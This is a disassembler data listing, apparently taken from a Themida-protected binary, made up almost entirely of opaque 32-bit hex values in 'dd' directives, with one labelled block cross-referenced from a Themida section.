		dd 74F83215h, 0B3883215h, 1AF6AB2Ah, 0DFD03E99h, 901744A6h
		dd 1A8AD094h, 0BFC1B1E9h, 63241802h, 987EDBECh,	0EE87CDEAh
		dd 6644320Dh, 6630B31Ah, 6BF83215h, 6C883215h, 0D4812EB3h
		dd 0DE5271E5h, 23093A0Eh, 5F15AF98h, 69AD3427h,	7A223215h
		dd 3C807A4Ch, 0FA95BB53h, 8E1D4EA0h, 0B5DD3779h, 6616BA1Ah
		dd 0E83215h, 724F39Eh, 69E23974h, 66110590h, 79023D15h
		dd 69443215h, 66222B98h, 6605DB15h, 543A3215h, 70FDDD8Ch
		dd 0FF4C798Ch, 821B64A6h, 12898089h, 5FAD866Dh,	69223215h
		dd 6611359Bh, 3FD95215h, 78B8D1Ah, 0EF26DE96h, 62A81619h
		dd 67883215h, 0E84B6BDFh, 66223219h, 6617B81Ah,	0ED873215h
		dd 66443215h, 662301FCh, 679E3D15h, 9A883215h, 0DE6AAF98h
		dd 8F42343Ah, 6611321Eh, 71B7C11Ch, 0DEC0C115h,	31FC702Ah
		dd 38EF851Ah, 695BCD74h, 66440696h, 662EDB15h, 0CA323215h
		dd 6A7058CCh, 23BC1B8Bh, 0D3A90401h, 603B25CCh,	668FB41Ah
		dd 0E24B3215h, 66223214h, 4BD9DBE0h, 60613215h,	0E443215h
		dd 0FA27BA30h, 0BF9CB908h, 698E1802h, 66443E9Fh, 60A03D15h
		dd 69113215h, 66883291h, 0BFF1BB15h, 93241802h,	6616B41Ah
		dd 0ED873215h, 66443214h, 0FAE3B3E9h, 0E7691174h, 0B9933FFCh
		dd 0E7B51B0Ch, 0B9393FD4h, 0FAF8B30Ch, 8FF01174h, 66443201h
		dd 6E31EF9h, 90580A05h,	861E0287h, 9DAACDBBh, 0B86C06Ch
		dd 66115AE0h, 62093215h, 0A464A631h, 422E1B5Ah,	0F2351E94h
		dd 3FC7F035h, 665DBB1Ah, 6423215h, 661EDA74h, 0EB7E3215h
		dd 2CCBE5CBh, 59800F7Eh, 81A67399h, 0E7E96A0Dh,	247F3BD3h
		dd 31E4B358h, 4F29013Ch, 3166B3DBh, 0E77C013Ch,	24193BFBh
		dd 0C2E2CE58h, 3A57B375h, 3F3070h, 8F43C39Eh, 99EECEB4h
		dd 6682B91Ah, 63AD3215h, 2B223215h, 0A0487065h,	0AD40AF98h
		dd 69243425h, 9943C9AAh, 6602DBC6h, 86E13215h, 3EDA9F2Eh
		dd 2D078F37h, 499B28BFh, 851911CFh, 9FCD6348h, 6AA9FA9Ch
		dd 62D5B131h, 5452B375h, 0E759D1F9h, 65AC38FAh,	0E33A5347h
		dd 60A22224h, 6657B31Ah, 68CB3215h, 0E2113215h,	26D1963Bh
		dd 63EF518h, 0A6CA3F06h, 0E794BB81h, 9A8E180Fh,	7675B79Eh
		dd 6CCB343Fh, 0F9113215h, 837472F7h, 0EEEB3FBh,	84AB60E1h
		dd 6615F094h, 8C093215h, 66443211h, 3A062692h, 8F350E9Ch
		dd 66883212h, 716B4F02h, 0EB38CE5h, 66113A8Dh, 69AC369Ch
		dd 66442191h, 6BAC3D15h, 8F113215h, 6688321Dh, 61A78DDh
		dd 694183C2h, 0A8D3BF98h, 0E7E83425h, 0A55472DBh, 0B6A35444h
		dd 9970EBF2h, 669ADBC4h, 458F3215h, 2FA14DC5h, 8F3EDDCAh
		dd 0AED42194h, 411C3BD8h, 5487B79Eh, 6971343Fh,	66883091h
		dd 93B915h, 3443F49Eh, 0A490D09Ch, 66883211h, 0E140D896h
		dd 0EF7E1601h, 0E81E1611h, 6688320Dh, 664421FCh, 540DE015h
		dd 109EE161h, 6851AAEFh, 12A9D301h, 0C46764F1h,	0E7F2BB46h
		dd 668836D6h, 62AFB315h, 0E1223215h, 0EF4D1609h, 60611629h
		dd 68443215h, 5405D5C9h, 0ED1E52E9h, 6688321Eh,	664437FDh
		dd 58BCE915h, 74FC575h,	76B9B79Eh, 6BAD343Fh, 6F223215h
		dd 5E66C6B8h, 8F14D53h,	0E33DC60Ah, 0E7C0BB47h,	661136D7h
		dd 6262B315h, 0E1443215h, 0EF7E1601h, 69E41611h, 66883E9Dh
		dd 60C93D15h, 69223215h, 6611329Fh, 9405BF15h, 64202DAh
		dd 6622B91Ah, 0E91E3215h, 66883216h, 7B7B973h, 0EA2DE3EAh
		dd 66113214h, 0A50161EDh, 7ACFE89Ch, 62E6B331h,	8F113215h
		dd 6688321Ah, 0FF10079Bh, 310CBB7Ch, 26815D84h,	303ACCCFh
		dd 97CDF49Ch, 0E506069Eh, 4DE836D1h, 4CBA9798h,	88C55213h
		dd 137E6F91h, 93705275h, 0DB0B5374h, 606E3270h,	0A2A63D15h
		dd 6113215h, 668838FDh,	0F635615h, 0AAF329AAh, 0DD5CC4EFh
		dd 3DD6BC27h, 664EDB4Ah, 0D0363215h, 0AA87F65Dh, 9A3A2B24h
		dd 1BC1B974h, 8F241801h, 6611321Fh, 2F7693Bh, 85E0DAD4h
		dd 0E30965D3h, 603B3270h, 537FB275h, 6646B11Ah,	7423215h
		dd 69D00974h, 66885C93h, 664FDB15h, 96373215h, 944E26B9h
		dd 0D4B1F00Fh, 5BC1B9C9h, 9E241839h, 6674B716h,	7661343Fh
		dd 27443215h, 0D4443321h, 1ECE4E46h, 54ACC0ECh,	0EFD5F9FEh
		dd 4C27A390h, 0E5A95213h, 8ED4A4F7h, 66443207h,	66FE335Fh
		dd 0C97919DBh, 66708C6Ch, 39E066DFh, 0FF96E517h, 0F8F8534Ah
		dd 69883214h, 66443399h, 0D942C715h, 4F0918ADh,	0EE907A6h
		dd 664479EEh, 6063E9Ch,	9CE7B373h, 8256B22Eh, 3615CE74h
		dd 8F3CE2ADh, 42550326h, 53D06A11h, 55AD2CC5h, 0A0953D75h
		dd 6614B31Ah, 6F333215h, 75ED98Ah, 99DD8B44h, 0AE10CDEAh
		dd 668DDB4Ch, 3F3D3215h, 8FD42AD6h, 66113210h, 43E43AAAh
		dd 62A8B191h, 0D806069Ch, 66113DEAh, 69D6C21Ch,	66443A93h
		dd 64AE3D15h, 6113215h,	6E063D74h, 6443215h, 0A29FD594h
		dd 30706C61h, 9977CDABh, 38B41BEAh, 66223BFCh, 8167A015h
		dd 5CAFED84h, 0E3CDE67Ch, 60082668h, 0EB9433ECh, 698E1821h
		dd 66443598h, 67AF3D15h, 9F113215h, 66EDB7D2h, 6644343Fh
		dd 0CDB3215h, 661CDB55h, 9F403215h, 3E33A637h, 72B40EC0h
		dd 8F1F119Ch, 6688321Eh, 828BB04Ch, 1A9B87D6h, 0EBFC468h
		dd 66882215h, 664434FCh, 0A0040015h, 310401E9h,	0A109D59Ch
		dd 66443211h, 0E126DD96h, 0EF4D1629h, 76611619h, 0A3443215h
		dd 13CE7402h, 393A4176h, 0DD0BA356h, 8F2EA642h,	66223210h
		dd 0FF9ECE77h, 6885877h, 664434FCh, 5F102015h, 283A57h
		dd 7BFD3AAh, 4FD1CDE0h,	69241836h, 66113A91h, 640B3D15h
		dd 6443215h, 83B7CD74h,	9E171800h, 4AB5B79Ch, 6924343Fh
		dd 97A9E0A2h, 0E398CA74h, 60A23784h, 664437FCh,	35F9E115h
		dd 6A9AE362h, 81016531h, 6640F594h, 0A1A13215h,	422DB511h
		dd 6683DB49h, 0D85E3215h, 127DF40Eh, 44FB50FBh,	0F73DCD72h
		dd 6421810h, 6627DAE9h,	0CC763215h, 30E2F24Bh, 99256B4Bh
		dd 4C1097A0h, 5E79CB13h, 0EF88322Fh, 0E7241629h, 285919D5h
		dd 748603Ch, 668823FCh,	4622415h, 27BE5B27h, 0E8439FB2h
		dd 55EB8718h, 0D3BB4CA7h, 60082224h, 2794BFEDh,	9E8E02FCh
		dd 624E2EAh, 69D1B973h,	66113290h, 39315315h, 7759FB1h
		dd 6647BF14h, 75F8343Fh, 8D883215h, 596AD3A2h, 0BD904C2Dh
		dd 898AD5C5h, 5BC6093Eh, 69AD8CF2h, 68223215h, 8F9A38A2h
		dd 718995A0h, 11347AF7h, 0DBA919F1h, 603B3784h,	69258275h
		dd 66443093h, 77B6515h,	54B4879Eh, 6C61343Fh, 26443215h
		dd 23FFDC5Ch, 3EEB04F2h, 8F2CC1ABh, 66443205h, 0E1A5BD5Fh
		dd 891A1DAh, 98C768D5h,	0F1BC09F8h, 4587879Eh, 0CBED343Fh
		dd 6264B1EDh, 0DD602E9Ch, 66BD602Fh, 342BC194h,	3801328Ah
		dd 2469E9h, 0C186C594h,	6615BF1Ah, 0D9EE3215h, 0A7258E73h
		dd 77CB37D5h, 0F5113215h
		dd 29FFA35Ah, 9F36BC0h,	0D499B273h, 4E64B943h, 274D8F40h
		dd 0B3B3352Dh, 0E726D7D4h, 0E371C6F0h, 3655C53Fh, 0D10788ADh
		dd 613C375Ah, 0A338DB68h, 5F4DB34Dh, 67F76451h,	6DCB6FFDh
		dd 3C113215h, 7F801030h, 0A40BDC5Eh, 6BCB7309h,	2E113215h
		dd 591BCE33h, 9FFFAF62h, 0D2CE6576h, 447CB716h,	69E8343Fh
		dd 9FCEF1AAh, 0F7AFB974h, 6171810h, 668BBF1Ah, 0D14B3215h
		dd 0A9A354E5h, 3570F5F5h, 668832AEh, 25AFB315h,	67274D4Eh
		dd 25D2B3D6h, 0EF8D4D4Eh, 0E34B691Eh, 66223218h, 66113AFCh
		dd 0BB073215h, 34BFBBA9h, 69429F69h, 6611349Bh,	66003D15h
		dd 443215h, 3743CB9Eh, 99EECEACh, 367933EAh, 4867D3ADh
		dd 7923F560h, 679BE3C9h, 6D16A14h, 664426FCh, 0DDBF4515h
		dd 8A4651ECh, 0E9CBEFA1h, 83329273h, 0D2F7B295h, 7358191h
		dd 452D879Ch, 24343Fh, 8F77DFAAh, 66113213h, 0C28D92FEh
		dd 0E525363Bh, 0E32DCDEDh, 661132B0h, 6F043DECh, 6443215h
		dd 147361AFh, 7E3B90Bh,	0BB550C94h, 0E34BEFC8h,	6622329Ch
		dd 36CEB375h, 69D2B417h, 6644379Fh, 95A35415h, 34706596h
		dd 0AC1D9AFh, 8086B33Eh, 0A7313140h, 0DD4230F7h, 9F364D51h
		dd 0EF1FE83Ch, 6BCB6803h, 49113215h, 6A763ECDh,	3CAB9631h
		dd 1F5BB221h, 62A96247h, 0EF883215h, 0B0456AD7h, 0D944524Fh
		dd 61F95CF5h, 15883215h, 0CF30F21Dh, 0EC935C22h, 0D398534Fh
		dd 60A211B0h, 6643B51Ah, 0E42D3215h, 66113214h,	0B416DBECh
		dd 6CADCDEAh, 56223215h, 0C323D466h, 5B812AE9h,	6584F31Dh
		dd 0BA731EDh, 69171837h, 66882D94h, 7FC03D15h, 8F223215h
		dd 66113201h, 52B15E09h, 0BB981E2Ch, 771A3A2Eh,	0C7242FEDh
		dd 98FB7A4Eh, 47A98F96h, 6923343Fh, 6612FF91h, 670C3D15h
		dd 9A443215h, 0CC880C94h, 0E31E98BFh, 668832A4h, 6CCF3DE0h
		dd 6223215h, 0D4A5E594h, 7E80BBAh, 15095A74h, 5AAB3215h
		dd 66158D31h, 98893215h, 61C83D4Ah, 69223215h, 66113396h
		dd 30DFCB15h, 0FC04ACABh, 80E37C49h, 0E7FFE317h, 62FD03FBh
		dd 6CA2B302h, 0E71F9A17h, 0B63E38D3h, 387FBBF9h, 74B874D2h
		dd 4F2EC23Ah, 9A4ECE6Bh, 62036545h, 6280B131h, 46AB3D4Ah
		dd 6113215h, 668820FDh,	0E62BB315h, 2DFEA03Fh, 1EE66F56h
		dd 0B7440434h, 398E030Ah, 0DA82ED94h, 35700D90h, 0B17E3BA2h
		dd 908EDD95h, 8C9662C2h, 0EE49D53Dh, 0EA8769EDh, 66443214h
		dd 6667DBE9h, 0E31E3215h, 66883214h, 57BC03E9h,	6DA03D2h
		dd 71F1D894h, 756108A5h, 0E5443215h, 9ADD7E9Bh,	0CF4AC22Fh
		dd 0BDD980D9h, 6A803C1Ch, 3443B39Fh, 0EEF98744h, 96006BFBh
		dd 6ECC3D4Fh, 69223215h, 6611309Bh, 34E95215h, 0A4C5D09Ch
		dd 66223211h, 0E115D896h, 0EFD41601h, 0E5B81611h, 4C36CBA8h
		dd 0E21E3313h, 66883340h, 0F6FA64E0h, 0E351246h, 71316085h
		dd 3878034Dh, 0F8F9B1ECh, 662403A3h, 6623B61Ah,	0E9873215h
		dd 66443219h, 6624BE1Ah, 0E71E3215h, 66883215h,	9BE3AF98h
		dd 99DE3425h, 6603DBC6h, 70EE3215h, 0BE77E3ADh,	9813D945h
		dd 4DA28E4Ah, 0E10ED90Ah, 69D40D95h, 66226791h,	6EF85215h
		dd 81883215h, 9B8EA9F1h, 8F512A63h, 66113218h, 0ABEC796Ah
		dd 4E3AF8h, 16DA3CA0h, 0DC435352h, 66883210h, 2ED2F594h
		dd 0B1230A32h, 2E87DD94h, 9FD20A32h, 664627FCh,	6631DB15h
		dd 15363215h, 32A4C35Ah, 82634B23h, 86BE60CEh, 7EADA421h
		dd 9E0BCBDCh, 0F8C63D45h, 69223215h, 66113A9Bh,	0D1875215h
		dd 0BECF54CEh, 0D2726174h, 3EF2BAC1h, 0E6EFD995h, 0A5C4D3FEh
		dd 3DFABA11h, 0A0905475h, 6C6011EAh, 89443215h,	5A7987E0h
		dd 307F4CA9h, 8409544Ah, 71CF1E2h, 0EDDECABFh, 0EF401611h
		dd 6249B3F4h, 0E5443215h, 6AA536D4h, 74F86E31h,	0C5883215h
		dd 4A6FD075h, 2F066DE3h, 0C2DD892Fh, 56A58542h,	6650DB4Eh
		dd 2783215h, 8BF2D3E7h,	1EDCDCDBh, 0AE3F4781h, 0D5EB6EB7h
		dd 6BB5B13h, 365BF8ACh,	9F9CB32Bh, 7511ABEh, 66DCDBECh
		dd 0EC873215h, 66443214h, 4216CDECh, 62D5B14Dh,	669AB01Ah
		dd 6BAD3215h, 0C8223215h, 0F4AC2342h, 981F1450h, 0F898E570h
		dd 662CDBBFh, 0B3973215h, 0B879C3CFh, 0BEC0A106h, 0BF8FBEDEh
		dd 8FEE4D95h, 6601B71Ah, 8E243215h, 6622321Eh, 6517CF8Fh
		dd 606B56C4h, 0D9669B0Ch, 1168F8C9h, 0DB92534Fh, 60B9848Bh
		dd 29C03D15h, 8F223215h, 66113219h, 189E76D7h, 89DC2215h
		dd 4E6FAADBh, 661FB01Ah, 6F613215h, 42443215h, 0D2BD6529h
		dd 6CB0D0D3h, 9A0AAF98h, 75AD3425h, 98223215h, 7500670Bh
		dd 830E5BB9h, 4EBE9485h, 7875BD8h, 0B5EE5CD7h, 668837FCh
		dd 20CE415h, 357083FDh,	9C99F59Dh, 62DFBA4Eh, 0EF4B524Fh
		dd 66223215h, 0ED701EA2h, 4C8DA390h, 0EDB15213h, 8F4253CAh
		dd 6611321Eh, 16341C99h, 7A4670AEh, 69DAFA94h, 6370E9AAh
		dd 58A93215h, 0DC16CA3Ch, 58033215h, 8F4BE23Ch,	66883219h
		dd 51498238h, 0BD5CC167h, 260A4249h, 668C8D42h,	9E6D3215h
		dd 0E7060E9Eh, 661136D1h, 6A073D15h, 69443215h,	6622349Ch
		dd 66943D15h, 69883215h, 66443396h, 689CE15h, 7EFBB373h
		dd 669BDA39h, 65723215h, 0D94A6914h, 4755C155h,	9F47DF5Fh
		dd 879DE7DAh, 97A9546Dh, 93BC534Fh, 99748847h, 0A4C5CDEAh
		dd 59E922C0h, 8C90C014h, 594322C0h, 664430D2h, 8F783215h
		dd 66113207h, 0B846AFA5h, 0AB427DC7h, 21326792h, 5CF24A0Ch
		dd 9F618928h, 69BBCDEFh, 66222297h, 8B915215h, 668EDB42h
		dd 0C72D3215h, 9AF96CD2h, 0C3A4BB74h, 9F8E1836h, 6643DA7Dh
		dd 4236BB15h, 0E6115AE0h, 8FE83215h, 6644321Dh,	3F9A7CE9h
		dd 0CBFD7A9h, 47B373h, 662E5364h, 99953D75h, 661126FCh
		dd 0E0051C15h, 0B497DB54h, 6DC81707h, 0D115082Dh, 362C45A5h
		dd 0D3BB5352h, 60082430h, 661138FCh, 1CC9EB15h,	48F7634Fh
		dd 99FDE6CCh, 4C359780h, 7F003D13h, 8F443215h, 66223201h
		dd 719ADADBh, 2C3720E9h, 0A60B8EAEh, 0F2024420h, 0A15762E8h
		dd 3CAC06EAh, 6640F694h, 9F423215h, 7D9B973h, 7FCDBF9Eh
		dd 6FAD343Fh, 93223215h, 0BD6CD9B9h, 41616FC0h,	6640DE94h
		dd 4AAB3215h, 66118F31h, 4F013215h, 7FC93D48h, 8F223215h
		dd 66113201h, 8403E704h, 0A8AA5A21h, 0F632FA3Ch, 0B9CFB76Eh
		dd 0ED33E53Fh, 66408D42h, 8FA33215h, 460B756Ch,	0A709CB14h
		dd 465E756Ch, 0EBABCA4Ah, 603B2B50h, 0A24DDBE9h, 8E24CDEAh
		dd 66223219h, 0EBC1D394h, 2E24F9Dh, 88BAEC17h, 66223BFCh
		dd 3BA31215h, 1409D445h, 8F1CB5F8h, 66223210h, 0B95E93F4h
		dd 8A615340h, 8F44323Fh, 6622321Eh, 46F67DACh, 0CA92CECAh
		dd 63BEE13h, 6D4B375h, 9F3AD2ACh, 6685DB74h, 9AB73215h
		dd 0E32711BBh, 2159CD6Dh, 0EDEBF394h, 4C5D7798h, 662DDB13h
		dd 0D6253215h, 0F8BC5AFFh, 0D7CC6354h, 91B9BD3Bh, 0E720CDE3h
		dd 796A1621h, 311D3D2Bh, 583DD0AAh, 39E8031Ah, 0CB66B275h
		dd 6641B51Ah, 5E9B3215h, 77D0E98h, 0D012BF9Ch, 0E7BD3424h
		dd 22767C2Dh, 0EF943D59h, 69883215h, 6644379Bh,	0D12D5215h
		dd 0E77753C6h, 48C4366Dh, 6636B71Ah, 69423215h,	66113492h
		dd 526FB315h, 353DF417h, 662222FDh, 3EB54D15h, 0A4CF81ADh
		dd 27C02871h, 0DC65A9EAh, 74B6BD2h, 0FC376545h,	670F786Bh
		dd 39261669h, 0FCFFB34Bh
		dd 6C3786Bh, 31AAB373h,	0ED4452D1h, 889054E6h, 7E9CD76h
		dd 66428B44h, 0A8233215h, 0E5353E9Eh, 0ED7036D1h, 4C679F90h
		dd 32CBC713h, 69113210h, 66883595h, 67C53D15h, 93223215h
		dd 0EF4C6240h, 63616FFBh, 0DC443215h, 859F1A5Fh, 423DB345h
		dd 13953604h, 0F8FC624Fh, 0A74F4712h, 0BEE636FDh, 0E2F75038h
		dd 0B031F1Fh, 0AB0F4604h, 671447ABh, 577D6AD7h,	9FE8CEDCh
		dd 0E22D3229h, 66113377h, 69A50EEDh, 99BBDF91h,	7FAB3DEAh
		dd 8F113215h, 66883201h, 0B5FB4377h, 0B68E9E3Dh, 4F3E9DBBh
		dd 52F3834Ah, 76A30D16h, 0E22D1C29h, 661132AEh,	668820FCh
		dd 44285D15h, 4290E39Ch, 0DC6B93E7h, 0C18B6EA9h, 5A3EB75Ah
		dd 9A03D25h, 6113210h, 6A613DA7h, 12443215h, 1C522743h
		dd 4BC68EF6h, 775ABC5h,	0E04B0B29h, 99DDCD9Fh, 272DCEE0h
		dd 63C0B01Ah, 6AAD3215h, 0FF223215h, 7E431DFh, 74BD26A7h
		dd 5AD30A4Bh, 1A43D4Fh,	8FEECDEAh, 66883219h, 0C52D1167h
		dd 6ED70A49h, 53AB7F37h, 0E2876D29h, 99BBCD5Bh,	69430EEDh
		dd 66143F97h, 1CB4CB15h, 9978B41Ah, 9342CDEAh, 6617BD1Ah
		dd 8E093215h, 0D448F8Dh, 62D2DB74h, 0ED1E3215h,	66883202h
		dd 664420FCh, 571DCF15h, 4DD7EDFFh, 9CF10135h, 0C2397804h
		dd 3513A233h, 99EECDAEh, 3D521BEAh, 6651B51Ah, 76CB3215h
		dd 2C113215h, 0ECE658EAh, 21C3FD2Eh, 0BC225A73h, 9334B62Bh
		dd 0E287C02Ch, 664436B3h, 662226FCh, 50C07715h,	545BFB29h
		dd 8119F85h, 3912456h, 83C17B5Fh, 6735676Fh, 4F443215h
		dd 35DE6FFFh, 661133AEh, 3D513315h, 664434FCh, 6CB91615h
		dd 8FDFD4A2h, 9977CCB7h, 62C93D75h, 223215h, 0ED438BABh
		dd 0AF0D53EEh, 6210B61Ah, 0EBDE3215h, 4C221FA0h, 0ED875213h
		dd 66443219h, 662234FDh, 1AD2115h, 3F1BBD03h, 76EF8B73h
		dd 0E62D5274h, 66113217h, 0ECE8E89Eh, 0A4C554C1h, 743F883h
		dd 0EFC1BB45h, 428CB9D4h, 6640F694h, 9E423215h,	661126FDh
		dd 317F3015h, 0BF041725h, 55BE4133h, 2D541BA0h,	0D329F51Fh
		dd 6649DB7Ah, 64C73215h, 68427600h, 0D7FACFBBh,	3CB4CD25h
		dd 62CEB174h, 3935269Ch, 0BC385375h, 92487B19h,	9024DAD5h
		dd 0D04354C5h, 783286h,	9A251E4Fh, 8FDF47BBh, 66113207h
		dd 8FF70407h, 77B85E24h, 2D4565C1h, 1FBB7AF9h, 0E80C36h
		dd 8F5C87ADh, 6622321Bh, 0B769B5FFh, 0EC7E0366h, 0FD4BF7C6h
		dd 0E7439B62h, 4D15ABFCh, 30711B0Bh, 4D40ABABh,	38D3330Bh
		dd 0AD9A5475h, 6683DB74h, 0EE13215h, 54927E4Ch,	0DC778B8Ah
		dd 0B70F7B85h, 0B7C3E0E2h, 6629BE1Ah, 60F83215h, 0CF883215h
		dd 9AB693EFh, 0B79B63AAh, 272C5C1Dh, 6161F354h,	3E95D394h
		dd 0A7A32616h, 3B4D8058h, 4FD1FD3Ch, 3883B3DAh,	8F7F6D1Fh
		dd 6611321Ah, 6D7BA7ADh, 74DDEDF6h, 834B3F6Fh, 5774409Ch
		dd 577603E2h, 6648DBE2h, 0D9163215h, 1B7D9229h,	753A1473h
		dd 0C2B7D052h, 0A995475h, 7F6B801h, 66883DFCh, 5186D215h
		dd 0B7146E74h, 72B6B054h, 814BFC7Dh, 66F76173h,	0EEFFBA44h
		dd 48CD7Ah, 72073D4Eh, 8F443215h, 6622321Ah, 892F759Ah
		dd 52E837C1h, 98BA5C03h, 0EB46411Bh, 4C221F80h,	0E7745213h
		dd 0B7F9D5CEh, 0E3A9533Dh, 603B29DCh, 6681DA75h, 59CA3215h
		dd 20D88ECDh, 39EAF3BCh, 6948B774h, 66445890h, 62A03D15h
		dd 6113215h, 0A0E961A0h, 4C63FB90h, 69CB7513h, 0FF113215h
		dd 9E5E52C2h, 0CBA3007Dh, 6DF62787h, 68F81CE7h,	0F8883215h
		dd 0EB5CF2A9h, 0D03AB1D5h, 0A9049DA1h, 0C15A5AA4h, 99BDE68Fh
		dd 4C00FBA0h, 6A923D13h, 69883215h, 66443493h, 66A73D15h
		dd 0EB113215h, 4B099B90h, 0B6BBC713h, 0FF3B8875h, 0D54732DAh
		dd 0EE96BA0h, 6644392Dh, 606269Ch, 6610BC1Ah, 0EC743215h
		dd 68AD53E0h, 0D0223215h, 0EF42279Eh, 0C15829F5h, 496B167h
		dd 6F2CD33h, 66113DFDh,	5ACBEE15h, 0D99C6A51h, 9B25665h
		dd 6A29CCh, 3846B973h, 6984B774h, 66231490h, 0E39ACE15h
		dd 60A224FCh, 66443BFCh, 0CA600715h, 2A26759Bh,	0A60D4F43h
		dd 662EB71Ah, 0EC2D3215h, 6611320Fh, 9458B275h,	66443DFDh
		dd 9EBFD015h, 0C3F8A90Ch, 0EC393EF4h, 53FB31A1h, 0EC2D534Fh
		dd 66113214h, 0AF0DF4ECh, 2A421832h, 662ABF1Ah,	0EC1E3215h
		dd 66883217h, 8F2C5375h, 8FFBE809h, 6611321Dh, 519A76DBh
		dd 5FB5A024h, 44EB87EAh, 61F8343Fh, 0B8883215h,	0F41DC47Bh
		dd 0E3AF0E7Ch, 603CB3BCh, 9358CDECh, 0E7A3BB42h, 662236D2h
		dd 62FEB315h, 0E1883215h, 0EF181629h, 421601h, 9A71F99Eh
		dd 668823FDh, 1A4B6215h, 618EE36Eh, 645AEFB9h, 13E0539Eh
		dd 71D92E2h, 6F2CD74h, 66113AFDh, 87D6DF15h, 0B1D0F002h
		dd 66A03DE0h, 3E113215h, 0F65EB373h, 0A6C153E5h, 6667B71Ah
		dd 8E713215h, 6688321Dh, 0D7A6848Bh, 0E9F3EE95h, 431128AEh
		dd 35306C68h, 7654ABDh,	6622D3FCh, 63F95215h, 18883215h
		dd 66C8E2EFh, 30A7A1AEh, 8F706B31h, 6688321Ah, 2E0E6898h
		dd 12472FBDh, 184BEBE9h, 0EFA86A69h, 57F2A890h,	6633DB13h
		dd 7B533215h, 1FE9F8D2h, 36E78F7Dh, 0B143B299h,	313D142Dh
		dd 0A109D59Ch, 66443211h, 0E126DD96h, 0EF4D1629h, 9A711611h
		dd 0E7A3BB42h, 662236D2h, 62FEB115h, 3AAC0E92h,	660069Ch
		dd 0A1A354ECh, 0EB703DF9h, 4BF52690h, 664BDB13h, 0B303215h
		dd 0C27C3A63h, 0B86DDE83h, 5BCD14AAh, 6628DB9Dh, 0BE9E3215h
		dd 49F0E779h, 5CFBF00Dh, 6DD7E2EAh, 79943DD5h, 9E883215h
		dd 664407FCh, 6636DB15h, 718A3215h, 6180F2D9h, 6405636Dh
		dd 0DC5C42CCh, 6967386Dh, 22016ED7h, 0E14B2E31h, 66223207h
		dd 66113FFCh, 0CD636015h, 0DC0869B0h, 0AC358B0Bh, 670F144h
		dd 90F7AADh, 6641DB49h,	8BCA3215h, 700E860h, 6E8C7D6h
		dd 0FCC9B974h, 692403A3h, 66112B95h, 75083D15h,	8F443215h
		dd 6622321Bh, 0F813968Ch, 0FEC93552h, 387D5493h, 664ACB80h
		dd 0EF113242h, 33711611h, 8ECDFF9Ch, 0E7061E9Eh, 661136D1h
		dd 669ADB15h, 71293215h, 4F7A194Bh, 15C328F7h, 2B23A19Dh
		dd 1A9FECBCh, 661E8847h, 0A4103215h, 72033016h,	6280B331h
		dd 9E223215h, 669982EAh, 4A093215h, 87501D31h, 4236B90Bh
		dd 0E715F696h, 879C1DD7h, 0AAFA520Bh, 696E18ACh, 66113093h
		dd 7998315h, 7291A79Ch,	9F42343Fh, 9517C494h, 0E5E96B5Bh
		dd 6ACD36F9h, 1A238B31h, 0B7E63379h, 204DF394h,	87854BCFh
		dd 0E7F3C516h, 84623D4h, 3F4033D6h, 6645BF1Ah, 99D73215h
		dd 729A3E65h, 624CB131h
dword_5CDC00	dd 98CF5475h, 3C435247h, 0DB84BB74h, 8F8E1811h,	66443201h
					; DATA XREF: Themida_:0054C96Co
		dd 3C1C0A6Ah, 56A47A48h, 2208BB26h, 916FB949h, 0B7FDD993h
		dd 3E3506EAh, 698CF696h, 6644229Dh, 6ECB5215h, 2C113215h
		dd 853DBF42h, 9EE6A274h, 4256CD74h, 4215B931h, 698CF696h
		dd 66443593h, 0D12D5215h, 77052EEh, 0E6B6E010h,	348C1B40h
		dd 0E61CE0AFh, 3CC11B40h, 668821FCh, 0DAA1A815h, 0BB7CC364h
		dd 98A381A0h, 93A8AF4Fh, 0F12A1315h, 629FB72Eh,	0E41E343Fh
		dd 66883270h, 0B3C109E9h, 69241801h, 66116A96h,	0E0875215h
		dd 66443214h, 64AE3DECh, 0D7113215h, 0EE875391h, 66443212h
		dd 6623B61Ah, 7E93215h,	66883CFCh, 0FAAA7415h, 4806CA9h
		dd 0AC298943h, 0A4E5E5E9h, 77AD3211h, 44223215h, 0B040B51Ch
		dd 997B7B6Ah, 50406948h, 4D8263BCh, 6616BF1Ah, 0E5873215h
		dd 66443214h, 8FDB53EDh, 66113204h, 0CD597278h,	0CE6646Eh
		dd 403BBF86h, 87EE9526h, 428CF573h, 4116766Fh, 0BF061E94h
		dd 0E7790871h, 4F861611h, 72B36502h, 4226B331h,	22850F57h
		dd 0E7AC3EEAh, 1C831621h, 4AA34139h, 2F5F6431h,	7E013D48h
		dd 8F443215h, 66223206h, 68979B6h, 0ED323154h, 582648ACh
		dd 9C3A85C9h, 9A07C1BFh, 62AC76D2h, 353E194Ch, 62065694h
		dd 62165BB9h, 62AC7EEAh, 62605ED4h, 349A6212h, 4F113211h
		dd 3E801651h, 66415AEDh, 62A93215h, 62D5B331h, 8F883215h
		dd 66443205h, 0AA0960Ch, 9F2D7472h, 0DC86353Bh,	58F085FDh
		dd 28B5BF98h, 99ED343Fh, 0B80252F4h, 17818973h,	6CCB5274h
		dd 10113215h, 3CA09385h, 0E046CEB2h, 0D874611Dh, 72FC7B54h
		dd 6E33DC94h, 0A0C526F1h, 0D395666h, 3D16F494h,	9501A6CEh
		dd 0ECB7334Bh, 0E72D6916h, 66113214h, 69610EE0h, 66455991h
		dd 8E1ECB15h, 6788B61Ah, 69E83215h, 66443497h, 66A33D15h
		dd 36113215h, 2C5AB373h, 6256D47h, 66223DFCh, 410A5715h
		dd 74C78CF3h, 0AA188595h, 0AB333502h, 56C1B373h, 69B45325h
		dd 6609B61Ah, 75CB3215h, 0CA113215h, 9A8FCE0Fh,	999F5DF7h
		dd 0FF8EFA0h, 0FCDE8AA1h, 0ABB4B4B9h, 67F6B61Ah, 0E52D3215h
		dd 66113212h, 6689B01Ah, 5AB83215h, 9EA63DFEh, 8F113214h
		dd 66883213h, 0EEA6171h, 9E43E58Dh, 0E77752D6h,	695D41FDh
		dd 3725E4A2h, 662233ACh, 0B6D0B315h, 67CAA82Fh,	0B6ADB3E4h
		dd 0EC60A82Fh, 0E86B0Ch, 123D6345h, 0E664C795h,	0ABA299F0h
		dd 64D4B2FBh, 46D1DA9Dh, 691C54D6h, 66223E9Dh, 609C3D15h
		dd 69883215h, 66443297h, 0E6D9B215h, 99B9B71Ah,	9EE8CDEAh
		dd 664437FCh, 0F223E015h, 0E70D1F9h, 668843D5h,	0EF600E9Ch
		dd 39D9BBE2h, 661134FCh, 7801CB15h, 0E54B985Bh,	6AAB36F9h
